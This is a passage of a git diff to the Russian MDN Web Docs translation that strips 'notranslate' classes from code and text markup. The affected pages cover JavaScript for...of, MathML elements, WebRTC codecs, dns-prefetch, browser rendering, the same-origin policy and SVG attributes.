href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a>, если не нужно переназначать переменные внутри блока.</p> -<pre class="notranslate"><code>let iterable = [10, 20, 30]; +<pre><code>let iterable = [10, 20, 30]; for (const value of iterable) { console.log(value); @@ -55,7 +55,7 @@ for (const value of iterable) { <h3 id="Обход_jsxrefString">Обход {{jsxref("String")}}</h3> -<pre class="notranslate"><code>let iterable = 'boo'; +<pre><code>let iterable = 'boo'; for (let value of iterable) { console.log(value); @@ -66,7 +66,7 @@ for (let value of iterable) { <h3 id="Обход_jsxrefTypedArray">Обход {{jsxref("TypedArray")}}</h3> -<pre class="notranslate"><code>let iterable = new Uint8Array([0x00, 0xff]); +<pre><code>let iterable = new Uint8Array([0x00, 0xff]); for (let value of iterable) { console.log(value); @@ -76,7 +76,7 @@ for (let value of iterable) { <h3 id="Обход_jsxrefMap">Обход {{jsxref("Map")}}</h3> -<pre class="notranslate"><code>let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]); +<pre><code>let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]); for (let entry of iterable) { console.log(entry); @@ -94,7 +94,7 @@ for (let [key, value] of iterable) { <h3 id="Обход_jsxrefSet">Обход {{jsxref("Set")}}</h3> -<pre class="notranslate"><code>let iterable = new Set([1, 1, 2, 2, 3, 3]); +<pre><code>let iterable = new Set([1, 1, 2, 2, 3, 3]); for (let value of iterable) { console.log(value); @@ -105,7 +105,7 @@ for (let value of iterable) { <h3 id="Обход_объекта_jsxrefarguments">Обход объекта {{jsxref("arguments")}} </h3> -<pre class="notranslate"><code>(function() { +<pre><code>(function() { for (let argument of arguments) { console.log(argument); } @@ -119,7 +119,7 @@ for (let value of iterable) { <p>Обход DOM коллекций наподобие {{domxref("NodeList")}}: следующий пример добавляет класс <code>read</code> параграфам, являющимся непосредственными потомками статей:</p> -<pre class="notranslate"><code>// Примечание: работает только на платформах, где +<pre><code>// Примечание: работает только на платформах, где // реализован NodeList.prototype[Symbol.iterator] let articleParagraphs = document.querySelectorAll('article > p'); @@ -131,7 +131,7 @@ for (let paragraph of articleParagraphs) { <p>В циклах <code>for...of</code> аварийный выход осуществляется через <code>break</code>, <code>throw</code> или <code>return</code>. Во всех вариантах итератор завершается.</p> -<pre class="notranslate"><code>function* foo(){ +<pre><code>function* foo(){ yield 1; yield 2; yield 3; @@ -147,7 +147,7 @@ for (let o of foo()) { <p>Вы можете выполнять обход <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">генераторов</a>, вот пример:</p> -<pre class="brush:js notranslate">function* fibonacci() { // функция-генератор +<pre class="brush:js">function* fibonacci() { // функция-генератор let [prev, curr] = [0, 1]; for (;;) { [prev, curr] = [curr, prev + curr]; @@ -167,7 +167,7 @@ for (let n of fibonacci()) { <p>Генераторы нельзя использовать дважды, даже если цикл <code>for...of </code> завершится аварийно, например, через оператор {{jsxref("Statements/break", "break")}} . При выходе из цикла генератор завершается, и любые попытки получить из него значение обречены.</p> -<pre class="brush: js example-bad notranslate"><code>var gen = (function *(){ +<pre class="brush: js example-bad"><code>var gen = (function *(){ yield 1; yield 2; yield 3; @@ -186,7 +186,7 @@ for (let o of gen) { <p>Кроме того, можно сделать обход объекта, явно реализующего <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable</a>:</p> -<pre class="notranslate"><code>var iterable = { +<pre><code>var iterable = { [Symbol.iterator]() { return { i: 0, @@ -217,7 +217,7 @@ for (var value of iterable) { <p>Следующий пример показывает различия в работе циклов <code>for...of</code> и <code>for...in</code> при обходе {{jsxref("Array")}}.</p> -<pre class="notranslate"><code>Object.prototype.objCustom = function() {}; +<pre><code>Object.prototype.objCustom = function() {}; Array.prototype.arrCustom = function() {}; let iterable = [3, 5, 7]; @@ -239,7 +239,7 @@ for (let i of iterable) { <p>Разберёмся шаг за шагом в вышеописанном коде.</p> -<pre class="notranslate"><code>Object.prototype.objCustom = function() {}; +<pre><code>Object.prototype.objCustom = function() {}; Array.prototype.arrCustom = function() {}; let iterable = [3, 5, 7]; @@ -247,13 +247,13 @@ iterable.foo = 'hello';</code></pre> <p>Каждый объект унаследует метод <code>objCustom</code> и каждый массив {{jsxref("Array")}} унаследует метод <code>arrCustom</code> благодаря созданию их в {{jsxref("Object.prototype")}} и {{jsxref("Array.prototype")}}. Объект <code>iterable</code> унаследует методы <code>objCustom</code> и <code>arrCustom</code> из-за <a href="/ru/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">наследования через прототип</a>.</p> -<pre class="notranslate"><code>for (let i in iterable) { +<pre><code>for (let i in iterable) { console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom" }</code></pre> <p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта <code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являются <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы ещё не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p> -<pre class="notranslate"><code>for (let i in iterable) { +<pre><code>for (let i in iterable) { if (iterable.hasOwnProperty(i)) { console.log(i); // выведет 0, 1, 2, "foo" } @@ -261,7 +261,7 @@ iterable.foo = 'hello';</code></pre> <p>Цикл аналогичен предыдущему, но использует {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}} для проверки того, собственное ли это свойство объекта или унаследованное. Выводятся только собственные свойства. Имена <code>0</code>, <code>1</code>, <code>2</code> и <code>foo</code> принадлежат только экземпляру объекта (<strong>не унаследованы</strong>). Методы <code>arrCustom</code> и <code>objCustom</code> не выводятся, поскольку они <strong>унаследованы</strong>.</p> -<pre class="notranslate"><code>for (let i of iterable) { +<pre><code>for (let i of iterable) { console.log(i); // выведет 3, 5, 7 }</code></pre> diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html index 376139e413..21df2e4f2e 100644 --- a/files/ru/web/mathml/element/math/index.html +++ b/files/ru/web/mathml/element/math/index.html @@ -5,47 +5,47 @@ translation_of: Web/MathML/Element/math --- <p>{{MathMLRef()}}</p> -<p><span class="notranslate">Элементом верхнего уровня в MathML является тэг <code><math></code> .</span> <span class="notranslate" style=""> Каждый допустимый экземпляр MathML должен быть внутри этого контейнера.</span> <span class="notranslate"> Он не допускает вложений, но внутри может быть произвольное число других дочерних элементов.</span></p> +<p><span>Элементом верхнего уровня в MathML является тэг <code><math></code> .</span> <span style=""> Каждый допустимый экземпляр MathML должен быть внутри этого контейнера.</span> <span> Он не допускает вложений, но внутри может быть произвольное число других дочерних элементов.</span></p> -<h2 id="Атрибуты"><span class="notranslate">Атрибуты</span></h2> +<h2 id="Атрибуты"><span>Атрибуты</span></h2> -<p><span class="notranslate">В дополнение к следующим атрибутам, тэг <code><math></code> воспринимает любые атрибуты из <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> .</span></p> +<p><span>В дополнение к следующим атрибутам, тэг <code><math></code> воспринимает любые атрибуты из <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> .</span></p> <dl> <dt id="attr-class-id-style">class, id, style</dt> - <dd><span class="notranslate">При условии использования вместе с <a href="https://developer.mozilla.org/en-US/docs/CSS">таблицами стилей</a> .</span></dd> + <dd><span>При условии использования вместе с <a href="https://developer.mozilla.org/en-US/docs/CSS">таблицами стилей</a> .</span></dd> <dt id="attr-dir">dir</dt> - <dd><span class="notranslate">Указывает направление формулы:</span> <span class="notranslate"><code>ltr</code> - слева направо или <code>rtl</code> - справа налево.</span></dd> + <dd><span>Указывает направление формулы:</span> <span><code>ltr</code> - слева направо или <code>rtl</code> - справа налево.</span></dd> <dt id="attr-href">ref</dt> - <dd><span class="notranslate">Используется для установки гиперссылки на указанный URI.</span></dd> - <dt id="attr-mathbackground"><span class="notranslate">mathbackground</span></dt> - <dd><span class="notranslate">Цвет фона.</span> <span class="notranslate"> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> - <dt id="attr-mathcolor"><span class="notranslate">mathcolor</span></dt> - <dd><span class="notranslate">Цвет текста.</span> <span class="notranslate"> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> + <dd><span>Используется для установки гиперссылки на указанный URI.</span></dd> + <dt id="attr-mathbackground"><span>mathbackground</span></dt> + <dd><span>Цвет фона.</span> <span> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> + <dt id="attr-mathcolor"><span>mathcolor</span></dt> + <dd><span>Цвет текста.</span> <span> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd> <dt id="attr-display">display</dt> - <dd><span class="notranslate">Этот атрибут определяет способ вывода.</span> Возможные <span class="notranslate">значения:</span> + <dd><span>Этот атрибут определяет способ вывода.</span> Возможные <span>значения:</span> <ul> - <li><span class="notranslate"><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li> - <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.</span></li> + <li><span><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li> + <li><span><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.</span></li> </ul> - <p><span class="notranslate">Значение по умолчанию <code>inline</code> .</span></p> + <p><span>Значение по умолчанию <code>inline</code> .</span></p> </dd> <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все ещё работают."> <i class="icon-thumbs-down-alt"></i> </span></dt> - <dd><span class="notranslate">Устаревшие значение </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br> - <span class="notranslate">Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd> + <dd><span>Устаревшие значение </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br> + <span>Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd> <dt id="attr-overflow">overflow</dt> - <dd><span class="notranslate">Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> - <span class="notranslate">Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd> + <dd><span>Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> + <span>Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd> </dl> -<h2 id="Примеры"><span class="notranslate">Примеры</span></h2> +<h2 id="Примеры"><span>Примеры</span></h2> <p><img alt="Теорема Пифагора" src="https://developer.mozilla.org/files/3157/math.jpg"></p> -<h3 id="Обозначения_HTML5"><span class="notranslate">Обозначения HTML5</span></h3> +<h3 id="Обозначения_HTML5"><span>Обозначения HTML5</span></h3> <pre class="brush: html language-html"><code class="language-html"><span class="token doctype"><!DOCTYPE html></span> <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span><span class="token punctuation">></span></span> @@ -80,7 +80,7 @@ translation_of: Web/MathML/Element/math <p> </p> -<h3 id="Обозначения_XHTML"><span class="notranslate">Обозначения XHTML</span></h3> +<h3 id="Обозначения_XHTML"><span>Обозначения XHTML</span></h3> <p> </p> @@ -118,7 +118,7 @@ translation_of: Web/MathML/Element/math <p> </p> -<p><span class="notranslate"><strong>Примечания:</strong> XHTML документы с MathML должны быть поданы как <code>application/xhtml+xml</code>.</span> <span class="notranslate"> Вы можете легко добиться этого, добавив <code>.xhtml</code> расширение для локальных файлов.</span> <span class="notranslate"> Для серверов Apache вы можете <a class="external external-icon" href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype">настроить <code>.htaccess</code> файл</a> для этого расширения на правильный тип MIME.</span> <span class="notranslate"> Поскольку мы сохранили наш MathML в виде XML-документа, необходимо быть уверенным в правильно оформленном XML-документе.</span></p> +<p><span><strong>Примечания:</strong> XHTML документы с MathML должны быть поданы как <code>application/xhtml+xml</code>.</span> <span> Вы можете легко добиться этого, добавив <code>.xhtml</code> расширение для локальных файлов.</span> <span> Для серверов Apache вы можете <a class="external external-icon" href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype">настроить <code>.htaccess</code> файл</a> для этого расширения на правильный тип MIME.</span> <span> Поскольку мы сохранили наш MathML в виде XML-документа, необходимо быть уверенным в правильно оформленном XML-документе.</span></p> <p> </p> @@ -128,40 +128,40 @@ translation_of: Web/MathML/Element/math <p>{{Compat("mathml.elements.math")}}</p> -<h3 id="Особенности_ядра_Gecko"><span class="notranslate">Особенности ядра Gecko</span></h3> +<h3 id="Особенности_ядра_Gecko"><span>Особенности ядра Gecko</span></h3> -<p><span class="notranslate">В Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4) появилась поддержка всех MathML атрибутов для элементов верхнего уровня (т.е. такое же поведение как <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> элемента).</span> <span class="notranslate"> Тем не менее, <code>displaystyle</code> атрибут не отрабатывается. Его поддержка <a class="external link-https external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&tl=ru&u=https://bugzilla.mozilla.org/show_bug.cgi%3Fid%3D669719&usg=ALkJrhgLJ8bHaC2M0rCMSujebFa8KEb7lQ">была добавлена</a> в Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5).</span></p> +<p><span>В Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4) появилась поддержка всех MathML атрибутов для элементов верхнего уровня (т.е. такое же поведение как <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="<Mstyle>"><code><mstyle></code></a> элемента).</span> <span> Тем не менее, <code>displaystyle</code> атрибут не отрабатывается. Его поддержка <a class="external link-https external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&tl=ru&u=https://bugzilla.mozilla.org/show_bug.cgi%3Fid%3D669719&usg=ALkJrhgLJ8bHaC2M0rCMSujebFa8KEb7lQ">была добавлена</a> в Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5).</span></p> -<p><span class="notranslate">Альтернативные текстовые описания (<code>alttext</code>) или ссылки на альтернативное изображение, (атрибуты <code>altimg</code> , <code>altimg-width</code> , <code>altimg-height</code> и <code>altimg-valign</code>) в настоящее время не реализованы в Gecko.</span></p> +<p><span>Альтернативные текстовые описания (<code>alttext</code>) или ссылки на альтернативное изображение, (атрибуты <code>altimg</code> , <code>altimg-width</code> , <code>altimg-height</code> и <code>altimg-valign</code>) в настоящее время не реализованы в Gecko.</span></p> -<h2 id="Specifications"><span class="notranslate">Спецификации</span></h2> +<h2 id="Specifications"><span>Спецификации</span></h2> <table class="standard-table"> <thead> <tr> - <th scope="col"><span class="notranslate">Спецификация</span></th> - <th scope="col"><span class="notranslate">Статус</span></th> - <th scope="col"><span class="notranslate">Комментарий</span></th> + <th scope="col"><span>Спецификация</span></th> + <th scope="col"><span>Статус</span></th> + <th scope="col"><span>Комментарий</span></th> </tr> </thead> <tbody> <tr> - <td><span class="notranslate"><a class="external external-icon" href="http://www.w3.org/TR/MathML3/chapter2.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 3.0</a></span></td> - <td><span class="notranslate"><span class="spec-REC">Рекомендация</span></span></td> - <td><span class="notranslate">Текущая спецификация</span></td> + <td><span><a class="external external-icon" href="http://www.w3.org/TR/MathML3/chapter2.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 3.0</a></span></td> + <td><span><span class="spec-REC">Рекомендация</span></span></td> + <td><span>Текущая спецификация</span></td> </tr> <tr> - <td><span class="notranslate"><a class="external external-icon" href="http://www.w3.org/TR/MathML2/chapter7.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 2.0</a></span></td> - <td><span class="notranslate"><span class="spec-REC">Рекомендация</span></span></td> - <td><span class="notranslate">Начальная спецификация</span></td> + <td><span><a class="external external-icon" href="http://www.w3.org/TR/MathML2/chapter7.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 2.0</a></span></td> + <td><span><span class="spec-REC">Рекомендация</span></span></td> + <td><span>Начальная спецификация</span></td> </tr> </tbody> </table> -<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2> +<h2 id="Смотрите_также"><span>Смотрите также</span></h2> <ul> - <li><span class="notranslate">HTML-элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html" title="HTML <HTML> Элемент (или HTML корневой элемент) представляет собой корень из HTML или документа XHTML. Все остальные элементы должны быть потомками этого элемента."><code><html></code></a></span></li> - <li><span class="notranslate">SVG элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg" title="Элемент SVG могут быть использованы для гнезда автономный SVG фрагмент внутри текущего документа (в том числе в HTML документе) до тех пор, SVG не является корневым элементом. Это автономный фрагмент имеет свой собственный просмотра и свою собственную систему координат."><code><svg></code></a></span></li> - <li><span class="notranslate">Тест-браузер MathML: Для <a class="external link-https external-icon" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> и <a class="external link-https external-icon" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></span></li> + <li><span>HTML-элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html" title="HTML <HTML> Элемент (или HTML корневой элемент) представляет собой корень из HTML или документа XHTML. Все остальные элементы должны быть потомками этого элемента."><code><html></code></a></span></li> + <li><span>SVG элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg" title="Элемент SVG могут быть использованы для гнезда автономный SVG фрагмент внутри текущего документа (в том числе в HTML документе) до тех пор, SVG не является корневым элементом. Это автономный фрагмент имеет свой собственный просмотра и свою собственную систему координат."><code><svg></code></a></span></li> + <li><span>Тест-браузер MathML: Для <a class="external link-https external-icon" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> и <a class="external link-https external-icon" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></span></li> </ul> diff --git a/files/ru/web/mathml/element/mn/index.html b/files/ru/web/mathml/element/mn/index.html index 04792eb6a9..2b110c8cd3 100644 --- a/files/ru/web/mathml/element/mn/index.html +++ b/files/ru/web/mathml/element/mn/index.html @@ -65,7 +65,7 @@ translation_of: Web/MathML/Element/mn <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><math> +<pre class="brush: html"><math> <mn> 0 </mn> diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html index d2bfac3c4a..495ee9c634 100644 --- a/files/ru/web/mathml/element/mover/index.html +++ b/files/ru/web/mathml/element/mover/index.html @@ -41,7 +41,7 @@ translation_of: Web/MathML/Element/mover <p>Отображение в вашем браузере: <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ </mo> </mover> </math></p> -<pre class="brush: html notranslate"><math> +<pre class="brush: html"><math> <mover accent="true"> <mrow> diff --git a/files/ru/web/mathml/element/mstyle/index.html b/files/ru/web/mathml/element/mstyle/index.html index 07aa6b8e66..ce646dd55b 100644 --- a/files/ru/web/mathml/element/mstyle/index.html +++ b/files/ru/web/mathml/element/mstyle/index.html @@ -46,7 +46,7 @@ translation_of: Web/MathML/Element/mstyle <p>Использование <code>displaystyle</code> и <code>mathcolor</code> для изменения стиля макета всей суммы.</p> -<pre class="brush: html notranslate"><math> +<pre class="brush: html"><math> <mstyle displaystyle="true" mathcolor="teal"> <mrow> diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html index a7900467c8..1cba67870a 100644 --- a/files/ru/web/media/formats/webrtc_codecs/index.html +++ b/files/ru/web/media/formats/webrtc_codecs/index.html @@ -298,13 +298,13 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>Существует два способа для выполнения этого. Наиболее эффективный - использовать статический метод {{domxref("RTCRtpSender.getCapabilities()")}} (или эквивалентный для принимающего узла {{domxref("RTCRtpReceiver.getCapabilities()")}} ), определяющий тип медиаданных в параметре. К примеру, для определения поддерживаемых кодеков видео применяем :</p> -<pre class="brush: js notranslate">codecList = RTCRtpSender.getCapabilities("video").codecs;</pre> +<pre class="brush: js">codecList = RTCRtpSender.getCapabilities("video").codecs;</pre> <p>Теперь массив <code>codecList</code> содержит объекты {{domxref("RTCRtpCodecCapability")}} , каждый содержащий описываемую конфигурацию кодека. Также в списке будут присутствовать записи для повторной передачи (RTX), избыточного кодирования (RED) и прямого исправления ошибок (FEC).</p> <p>Если соединение находится в процессе запуска, используем событие {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} для наблюдения за изменением статуса сборки кандидатов {{Glossary("ICE")}} и при завершении, запрашиваем список кодеков.</p> -<pre class="brush: js notranslate">let codecList = null; +<pre class="brush: js">let codecList = null; peerConnection.addEventListener("icegatheringstatechange", (event) => { if (peerConnection.iceGatheringState === "complete") { @@ -337,7 +337,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <p>Как только получен список доступных кодеков, его можно изменить и передать этот пересмотренный список методу {{domxref("RTCRtpTransceiver.setCodecPreferences()")}} для перенастройки списка, используемых кодеков. Это изменяет порядок предпочтений кодеков, позволяя указать WebRTC на более предпочтительный кодек среди прочих .</p> -<pre class="brush: js notranslate">function changeVideoCodec(mimeType) { +<pre class="brush: js">function changeVideoCodec(mimeType) { const transceivers = peerConnection.getTransceivers(); transceivers.forEach(transceiver => { @@ -368,7 +368,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <p>Функция <code>preferCodec()</code> вызываемая приведённым выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p> -<pre class="brush: js notranslate">function preferCodec(codecs, mimeType) { +<pre class="brush: js">function preferCodec(codecs, mimeType) { let otherCodecs = []; let sortedCodecs = []; let count = codecs.length; diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html index 581e91d4d2..e52364a7e5 100644 --- a/files/ru/web/performance/dns-prefetch/index.html +++ b/files/ru/web/performance/dns-prefetch/index.html @@ -17,12 +17,12 @@ translation_of: Web/Performance/dns-prefetch <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: html notranslate"><link rel="dns-prefetch" href="https://fonts.gstatic.com/" > +<pre class="brush: html"><link rel="dns-prefetch" href="https://fonts.gstatic.com/" > </pre> <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> <!-- and all other head elements --> @@ -42,11 +42,11 @@ translation_of: Web/Performance/dns-prefetch <p><strong>Во-вторых,</strong> существует возможность добавить <code>dns-prefetch</code> (и другие подсказки) как <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовок</a> с помощью <a href="/en-US/docs/Web/HTTP/Headers/Link">HTTP Link field</a>:</p> -<pre class="brush: unix notranslate">Link: <https://fonts.gstatic.com/>; rel=dns-prefetch</pre> +<pre class="brush: unix">Link: <https://fonts.gstatic.com/>; rel=dns-prefetch</pre> <p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций даёт возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p> -<pre class="brush: html notranslate"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> +<pre class="brush: html"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> </pre> diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html index 7fba31dc68..171e244a71 100644 --- a/files/ru/web/performance/how_browsers_work/index.html +++ b/files/ru/web/performance/how_browsers_work/index.html @@ -67,7 +67,7 @@ translation_of: Web/Performance/How_browsers_work <p>Как только мы установили соединение с веб-сервером, браузер отправляет инициирующий <a href="/en-US/docs/Web/HTTP/Methods">HTTP <code>GET</code> запрос</a> от имени пользователя. Чаще всего запрашивается HTML файл. В момент, когда сервер получает запрос, он начинает ответ с посылки заголовков ответа и содержимым HTML-файла.</p> -<pre class="brush: html notranslate"><!doctype HTML> +<pre class="brush: html"><!doctype HTML> <html> <head> <meta charset="UTF-8"/> @@ -127,7 +127,7 @@ translation_of: Web/Performance/How_browsers_work <p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдёт до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p> -<pre class="brush:html notranslate"><link rel="stylesheet" src="styles.css"/> +<pre class="brush:html"><link rel="stylesheet" src="styles.css"/> <script src="myscript.js" <strong>async</strong>></script> <img src="myimage.jpg" alt="image description"/> <script src="anotherscript.js" <strong>async</strong>></script> diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html index 2789f844a9..9e2a1f3bca 100644 --- a/files/ru/web/security/same-origin_policy/index.html +++ b/files/ru/web/security/same-origin_policy/index.html @@ -77,7 +77,7 @@ translation_of: Web/Security/Same-origin_policy <p>Страница может изменить свой оригинальный origin с некоторыми ограничениями. Скрипт может установить значение {{domxref("document.domain")}} на текущий домен или супердомен текущего домена. Если значение будет установлено на супердомен текущего домена, более короткий домен будет использован для последующей проверки origin'а. Например, предполагается, что скрипт в документе по адресу <code>http://store.company.com/dir/other.html</code> выполняется следующим выражением:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span>domain <span class="operator token">=</span> <span class="string token">"company.com"</span><span class="punctuation token">;</span></code></pre> +<pre class="brush: js line-numbers language-js"><code class="language-js">document<span class="punctuation token">.</span>domain <span class="operator token">=</span> <span class="string token">"company.com"</span><span class="punctuation token">;</span></code></pre> <p>После этого, страница может пройти такую же проверку на <code>http://company.com/dir/page.html</code> (<code>предполагая, что http://company.com/dir/page.html</code> установил <code>document.domain</code> в значение "<code>company.com</code>" чтобы указать, что у него получилось разрешение - смотри {{domxref("document.domain")}}). Однако, <code>company.com</code> <strong>не может </strong>установить <code>document.domain</code> в значение <code>othercompany.com</code>, поскольку это значение не является супердоменом <code>company.com</code>.</p> diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html index 164d19361d..8daa8614cc 100644 --- a/files/ru/web/svg/attribute/id/index.html +++ b/files/ru/web/svg/attribute/id/index.html @@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute/id <p>Этот атрибут используется всеми элементами.</p> <div id="topExample"> -<pre class="brush: html notranslate"><svg width="120" height="120" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html"><svg width="120" height="120" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![CDATA[ #smallRect { diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html index 9095af8798..0fdb427af1 100644 --- a/files/ru/web/svg/attribute/lang/index.html +++ b/files/ru/web/svg/attribute/lang/index.html @@ -16,7 +16,7 @@ translation_of: Web/SVG/Attribute/lang <p>Все элементы используют этот атрибут.</p> <div id="topExample"> -<pre class="brush: html; highlight[2] notranslate"><svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html; highlight[2]"><svg viewBox="0 0 200 100" 